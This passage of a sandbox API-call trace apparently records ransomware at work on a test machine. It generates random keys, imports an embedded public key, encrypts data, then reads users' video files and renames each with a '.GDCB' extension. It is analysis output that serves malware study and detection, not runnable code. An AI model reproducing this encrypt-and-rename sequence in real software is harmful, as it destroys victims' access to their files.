(hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.193] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecfd0) returned 1 [0143.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.193] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.193] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.193] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0143.195] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f52d0) returned 1 [0143.195] CryptGetKeyParam (in: hKey=0x28f52d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.195] CryptEncrypt (in: hKey=0x28f52d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.195] GetLastError () returned 0x0 [0143.195] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.195] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed300) returned 1 [0143.197] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4e50) returned 1 [0143.197] CryptGetKeyParam (in: hKey=0x28f4e50, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.197] CryptEncrypt (in: hKey=0x28f4e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.197] GetLastError () returned 0x0 [0143.197] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.197] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\iJXfQ.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\ijxfq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.198] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.198] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.198] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x9e79, lpOverlapped=0x0) returned 1 [0143.207] VirtualAlloc (lpAddress=0x0, dwSize=0x9e80, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.211] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\iJXfQ.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\ijxfq.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\iJXfQ.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\ijxfq.mp4.gdcb")) returned 1 [0143.212] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.212] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.212] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.212] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.213] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.213] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.213] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.213] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.213] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.213] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.215] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f5090) returned 1 [0143.215] CryptGetKeyParam (in: hKey=0x28f5090, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.215] CryptEncrypt (in: hKey=0x28f5090, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.215] GetLastError () returned 0x0 [0143.215] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.215] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.217] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f50d0) returned 1 [0143.217] CryptGetKeyParam (in: hKey=0x28f50d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.217] CryptEncrypt (in: hKey=0x28f50d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.217] GetLastError () returned 0x0 [0143.217] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.217] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\wuSgr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\wusgr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.217] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.218] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.218] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x997a, lpOverlapped=0x0) returned 1 [0143.226] VirtualAlloc (lpAddress=0x0, dwSize=0x9980, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.230] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\wuSgr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\wusgr.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\ppRS2\\wuSgr.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\pprs2\\wusgr.mp4.gdcb")) returned 1 [0143.233] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0143.234] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.234] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0143.234] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.234] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0143.234] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.234] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0143.234] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.235] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0143.237] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f4e10) returned 1 [0143.237] CryptGetKeyParam (in: hKey=0x28f4e10, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.237] CryptEncrypt (in: hKey=0x28f4e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0143.237] GetLastError () returned 0x0 [0143.237] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0143.237] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0143.239] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f4690) returned 1 [0143.239] CryptGetKeyParam (in: hKey=0x28f4690, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.239] CryptEncrypt (in: hKey=0x28f4690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0143.239] GetLastError () returned 0x0 [0143.239] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.239] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XwhtYRwYJqMJuVCzK.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xwhtyrwyjqmjuvczk.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0143.239] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.240] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.240] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x7c84, lpOverlapped=0x0) returned 1 [0143.249] VirtualAlloc (lpAddress=0x0, dwSize=0x7c90, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.253] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XwhtYRwYJqMJuVCzK.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xwhtyrwyjqmjuvczk.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XwhtYRwYJqMJuVCzK.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\xwhtyrwyjqmjuvczk.swf.gdcb")) returned 1 [0143.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.254] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.261] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed168) returned 1 [0143.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.262] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.262] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.262] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.262] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.262] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.262] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.262] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.262] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.263] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.265] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4410) returned 1 [0143.265] CryptGetKeyParam (in: hKey=0x28f4410, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.265] CryptEncrypt (in: hKey=0x28f4410, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.265] GetLastError () returned 0x0 [0143.265] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.265] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ed0e0) returned 1 [0143.267] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f43d0) returned 1 [0143.267] CryptGetKeyParam (in: hKey=0x28f43d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.268] CryptEncrypt (in: hKey=0x28f43d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.268] GetLastError () returned 0x0 [0143.268] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.268] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\6z- of0Ate9fxiX14.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\6z- of0ate9fxix14.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.268] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.268] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.268] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x7ba2, lpOverlapped=0x0) returned 1 [0143.277] VirtualAlloc (lpAddress=0x0, dwSize=0x7bb0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.281] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\6z- of0Ate9fxiX14.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\6z- of0ate9fxix14.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\6z- of0Ate9fxiX14.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\6z- of0ate9fxix14.mp4.gdcb")) returned 1 [0143.283] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed300) returned 1 [0143.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.284] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.284] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.284] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.284] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.284] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.284] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.284] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.285] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.287] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4a50) returned 1 [0143.287] CryptGetKeyParam (in: hKey=0x28f4a50, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.287] CryptEncrypt (in: hKey=0x28f4a50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.287] GetLastError () returned 0x0 [0143.287] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.287] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.289] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f49d0) returned 1 [0143.289] CryptGetKeyParam (in: hKey=0x28f49d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.289] CryptEncrypt (in: hKey=0x28f49d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.289] GetLastError () returned 0x0 [0143.289] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.289] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\o6UX2DM3DI2N.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\o6ux2dm3di2n.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.289] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.289] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.290] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x5ae0, lpOverlapped=0x0) returned 1 [0143.299] VirtualAlloc (lpAddress=0x0, dwSize=0x5ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.302] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\o6UX2DM3DI2N.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\o6ux2dm3di2n.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\o6UX2DM3DI2N.swf.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\o6ux2dm3di2n.swf.gdcb")) returned 1 [0143.303] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.303] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.303] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.303] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.308] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.308] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.308] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.308] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0143.308] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.308] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecfd0) returned 1 [0143.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.309] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.309] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0143.309] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.309] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed168) returned 1 [0143.311] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4510) returned 1 [0143.311] CryptGetKeyParam (in: hKey=0x28f4510, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.311] CryptEncrypt (in: hKey=0x28f4510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0143.311] GetLastError () returned 0x0 [0143.311] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.311] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed300) returned 1 [0143.313] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4710) returned 1 [0143.313] CryptGetKeyParam (in: hKey=0x28f4710, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.313] CryptEncrypt (in: hKey=0x28f4710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0143.314] GetLastError () returned 0x0 [0143.314] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.314] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\YctSMdD9\\OKsE\\gKHCm2fwtZ_xFQId52k.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\yctsmdd9\\okse\\gkhcm2fwtz_xfqid52k.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0143.314] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.314] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.314] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, 